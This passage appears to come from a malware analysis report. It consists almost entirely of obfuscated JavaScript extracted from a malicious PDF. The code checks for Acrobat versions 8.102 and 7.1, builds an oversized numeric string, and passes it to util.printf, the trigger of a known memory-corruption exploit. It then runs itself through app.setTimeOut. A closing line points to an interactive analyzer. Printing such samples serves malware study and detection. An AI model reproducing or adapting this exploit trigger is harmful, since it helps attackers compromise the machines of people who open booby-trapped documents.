      }         else         {           rEVZOvqgG5 = 1;         }       }       catch(e)       {         rEVZOvqgG5 = 1;       }       if(rEVZOvqgG5 == 1)       {         if(yOEEdhiG86 == 8.102 || yOEEdhiG86 == 7.1)         {           SY7dIkJkty(1);           var LBZDgqYtqA = "12999999999999999999";           for(awkqDXrwLG = 0; awkqDXrwLG < 276; awkqDXrwLG++)           {             LBZDgqYtqA += "8";           }           var j3IrqQZ0bT = util;           j3IrqQZ0bT["printf"]("E000f", LBZDgqYtqA);         }       }     }  }  ")); 
 app.D7fFJL6sFw = x6G7HmzMsD;
 tdQj0cF5Jq = app.setTimeOut("app.D7fFJL6sFw()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.